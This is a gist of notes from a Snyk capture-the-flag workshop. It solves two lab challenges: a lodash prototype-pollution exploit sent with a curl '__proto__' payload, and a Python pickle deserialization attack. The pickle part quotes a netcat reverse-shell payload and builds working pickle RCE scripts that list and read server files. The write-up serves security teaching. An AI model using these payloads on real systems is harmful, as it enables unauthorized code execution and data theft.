Skip to content

Instantly share code, notes, and snippets.

@webchick
Last active September 18, 2022 09:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save webchick/b34bfbf57005e18dfb2e7ced387e1d6e to your computer and use it in GitHub Desktop.
Save webchick/b34bfbf57005e18dfb2e7ced387e1d6e to your computer and use it in GitHub Desktop.
Notes from the Snyk CTF 101 video

Capture The Flag (CTF) 101 Workshop

Intro

How to join


Prerequisites


https://101.ctf-snyk.io/prerequisites

Bonus: Snyk CLI, Snyk IDE integration

What is Snyk?


https://snyk.io/what-is-snyk/

Snyk (pronounced sneak) tests for vulnerabilities in your own code, open source dependencies, container images and infrastructure as code configurations, and offers context, prioritization, and remediation.

Why do a CTF?


In short: to hone your security skills. They’re an extremely fun way to learn extremely practical, hands-on skills, which can help you throughout your career.

  • Cross-functional: Not just analyzing in a vacuum, Language (JavaScript, Java, Python...), Database, Protocols (e.g. LDAP), Web Servers… all of these things communicating back and forth, and these are all things you might use in your job.
  • Learn: How to do investigative work: pick up on clues, search around, avoid direct spoilers! Don’t just tell someone how to do it, pass them the flag… if you’re stuck, ask for guidance, we’ll help you get there.
  • Social: A team sport. No one knows everything, and often you solve CTFs by collaborating with other people with complementary skills. Some CTFs are really, really hard!

What’s a Flag, Anyway?


A (non-working) example:

SNYK{9a9e3b2gd014635e125a62899f337b84bb5ac}

Each challenge is worth different points based on the difficulty, and you can see how many other people solved it.

Rules of Engagement


Do:

  • Share progress in chat
  • Ask questions (and upvote) in “Q&A” area
  • DM each other and official helpers for clues

Don’t:

  • Drop spoilers in chat
  • Hack the backend
  • Do any criminal activity: there’s no challenge that requires DDOSing ;)

Challenge 1: Invisible Ink

Looking for clues

When first approaching a challenge, look for clues and breadcrumbs.

invisible-ink-challenge

For example, is there a clue in the name?

There are two files involved: package.json and index.js, which tells you it’s a JavaScript challenge. That’s important, even if you maybe don’t know JavaScript yourself. You don’t always get those files to download in a CTF, but when you do have a tremendous “hint” as to what’s going on; this allows you to inspect the backend.

There’s also a URL:

http://invisible-ink.c.ctf-snyk.io/

This loads a web page with a “pseudo-API” showing an example HTTP POST and response.

invisible-ink-web

Another clue is that in the response, there’s a flag attribute.

How do you learn about interacting with this kind of API? Maybe try searching for things like “how does HTTP work?”

Think of HTTP as kind of a bulletin board:

  • GET: read content on the board
  • POST: place content on the board
  • DELETE: remove content from the board

So it looks from the example like we’re going to POST some JSON data to the /echo endpoint.

Also, some CTFs offer a hint of their own, as this one does. Looking at them is your option; it doesn’t dock you points. No shame in it. :)

The hint in this case is:

https://github.com/snyk/snyk#installation

(In other words, install Snyk CLI)

This tool will help us with this challenge because we have access to the backend files.

Making an example request

OK, let’s start by making a request, following instructions on the page:

curl -H "Content-Type: application/json" -X POST http://invisible-ink.c.ctf-snyk.io/echo -d '{"message": "ping"}'

Output is exactly what the page told us to expect:

{"userID":"<redacted-IP>","time":1663488330013,"message":"ping","flag":"disabled"}

Hmmm. flag: disabled. Interesting. I wonder if I could somehow make that NOT “disabled”?

(Remember: The whole idea is to trick the backend into revealing a “flag” to me.)

Scanning Dependencies

Remember the hint? Snyk can scan your code to highlight insecure dependencies.

What’s in package.json? A list of dependencies. :)

{
  "name": "Try-Snyk",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "lodash": "4.17.4",
    "express": "4.17.1",
    "body-parser": "1.19.0"
  },
  "author": "",
  "license": "ISC"
}

Let’s run snyk test

snyk test .

Testing ....

Tested 51 dependencies for known issues, found 8 issues, 8 vulnerable paths.

Issues to fix by upgrading:

  Upgrade lodash@4.17.4 to lodash@4.17.21 to fix
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-1018905] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-73639] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Prototype Pollution [Medium Severity][https://security.snyk.io/vuln/npm:lodash:20180130] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Command Injection [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-567746] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-608086] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-450202] in lodash@4.17.4
    introduced by lodash@4.17.4
  ✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-73638] in lodash@4.17.4
    introduced by lodash@4.17.4
    ...

Something that’s coming up over and over again is “prototype pollution” particularly related to lodash.

What is "prototype pollution"? A search reveals https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications

__proto__ is the way to access the underlying “blueprint” of a JavaScript object. Similar to the notion of “classes” in other languages.

We can “pollute” an instantiated object by modifying its blueprint in JavaScript.

Understanding the backend code

Let’s look at the index.js file now. Of interest:

const _ = require('lodash');

This loads the lodash code into a constant called “_

    _.merge(out, req.body);

This stands out because what lodash does is allow you to take a JavaScript object and merge additional things into it.

    const out = {
        userID: req.headers['x-forwarded-for'] || req.connection.remoteAddress,
        time: Date.now()
    };

The out variable is constructing the output we saw on the example: the user’s IP, the current time… so this will also merge in the request body. (This is a really bad idea, by the way :P ... you should NOT have unsanitized input sent to some function.)

Notice this:

    if (options.flag) {
        out.flag = flag;
    } else {
        out.flag = 'disabled';
    }

If there is no optons.flag set, then it’s going to return disabled. But, if options.flag IS true, it’s going to output the value of a flag, which is the whole point we’re trying to get to here.

Exploiting the vulnerability

Before, in our curl request, we had the following at the end:

-d '{"message": "ping"}'

Let’s try instead:

-d '{"message": "ping", "__proto__": {"flag": true}}'

Re-run the curl command and it should show you the actual flag now!

Copy/paste it into the challenge dashboard and you are done!

Challenge 2: Sauerkraut

Looking for clues

As before, let’s start with our clue-finding first.

sauerkraut-challenge

First clue: this one’s worth more points, which means it’s a more difficult challenge.

We also see this challenge is a Python challenge.

We also see a question: “What goes best on a hotdog?” This is probably a misdirect. “Sauerkraut” is not going to be the answer. :)

Backend link:

http://sauerkraut.c.ctf-snyk.io/

sauerkraut-web

Let’s try viewing source.

<!doctype html>
<head>
    <title>Welcome to Sauerkraut!</title>
</head>

<body>
    <h1>There's a flag here somewhere...</h1>
    <form id="input" method="post" action="/">
        <textarea rows="5" cols="60" name="text">Enter text here...</textarea><br>
        <input type="submit" value="submit" id="submit" /><br>
    </form>
    <textarea rows="10" cols="60" name="output" readonly>
    </textarea><br>
</body>

Nope. Nothing to see here. Very straight-forward HTML; no JavaScript references, no commented-out flags...

Let’s try submitting the form. We get:

            Invalid base64-encoded string: number of data characters (13) cannot be 1 more than a multiple of 4

This tells us it’s expecting a base64 encoded string. File that away for later.

Try a few more inputs, see if there’s any other outputs you can generate.

Example: copy/paste “There's a flag here somewhere…” and submit, you get instead:

	Invalid load key, '\x17'.

Following leads

Let’s try searching Google for “invalid load key”

First link: https://stackoverflow.com/questions/33049688/what-causes-the-error-pickle-unpicklingerror-invalid-load-key

Lots of references here to “pickle” and “pickling”

Let’s try searching for “python pickle”

This brings up reference to https://docs.python.org/3/library/pickle.html which talks about Python object serialization

Note: Object serialization and deserialization is a source of a lot of security problems. It’s a technique to take a “live” object and convert it to a byte stream and store it somewhere: a file, a database... that’s serialization. Then deserialization, is reversing the process, which is where the danger comes in. You take the data stream, and reconstruct an object from it.

Very first thing you see on page is a warning:

pickle-warning

This tells me that this is something that’s rife for exploitation, because right out of the gate we’re being told the pickle module is not secure.

Let’s look into that. Search Google for “python pickle exploit” … I want to learn more about this without being given a direct solution.

First result: https://davidhamann.de/2020/04/05/exploiting-python-pickle/ and you can skip straight to Creating the exploit https://davidhamann.de/2020/04/05/exploiting-python-pickle/#creating-the-exploit

Examining a pre-existing exploit

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Of note:

  • There’s a class RCE (stands for “remote code execution”)
  • There’s a __reduce__ function
  • __reduce__ function calls a command
  • In the __main__ method of this class, it’s “pickling” (or serializing) the RCE class
  • Finally, it base64 encodes the result.

(Remember: our input is expected a base64 encoded string!)

Now, in this example, he’s going right for remote code execution, but we want to do something a bit simpler to verify that this is going to even work.

Our example replaces cmd with:

cmd = ('whoami’);

Run this script with python3 (very important; Python 2 won’t give you the right output)

You will get output something like:

b'<lots-of-characters>='

Let’s copy the part of the string between quotes, paste it into the form and see what happens...

Nothing. Well that's a bit disappointing. But! I didn’t get an error, so we’re on the right track.

Further research showed that os.system() is designed not to produce any output, so you need to use Python in a way that shows some output.

Now search for “python running shell command and capturing the output”

This brings up https://stackoverflow.com/questions/4760215/running-shell-command-and-capturing-the-output which points to another package called subprocess.check_output and this does produce visible output, in contrast to os.system().

Create a new file, called sauerkraut.py:

import pickle
import base64
import subprocess


class RCE:
    def __reduce__(self):
        cmd = ('ls')
        return subprocess.check_output, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Run it with:

python3 sauerkraut.py

If you take the resulting string and paste it into the form and you get output!

b'app\nflag\ngunicorn_config.py\nrequirements.txt\n'

Which translates to a directory listing:

app
flag
gunicorn_config.py
requirements.txt

My eye is drawn to a file called “flag.”

Exploiting the vulnerability

Now I can issue a new command, by replacing that same cmd line.

cmd = ['cat', 'flag']

Re-run the script and copy/paste its output between quotes to the form and submit.

Now it shows the value of the flag. Submit it and you’re done!

#Resources

In the DevSecOps Discord, we do CTFs together and you can work with internal Snyk researchers.

Follow Snyk on Twitch and Twitter to learn more about our products.

Follow Kyle Suero and Micah Silverman on Twitter.

Watch for SnykCon

@webchick
Copy link
Author

webchick commented Sep 18, 2022

A super janky way to add images. :P

![invisible-ink-challenge](https://user-images.githubusercontent.com/332535/190893408-5a8aafc4-f1cd-4922-a012-8619ccc09ea5.png) ![invisible-ink-web](https://user-images.githubusercontent.com/332535/190893409-925752d2-7699-4de5-b868-f6cc3efdd5fa.png) ![pickle-warning](https://user-images.githubusercontent.com/332535/190893410-0a02fabd-bc03-425a-a231-9af999bf5c74.png) ![sauerkraut-challenge](https://user-images.githubusercontent.com/332535/190893412-29a927d5-9bac-4dd7-9608-d2d9f93fea21.png) ![sauerkraut-web](https://user-images.githubusercontent.com/332535/190893413-de6f73b8-428c-4561-9eb8-e84d3c930b8a.png)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment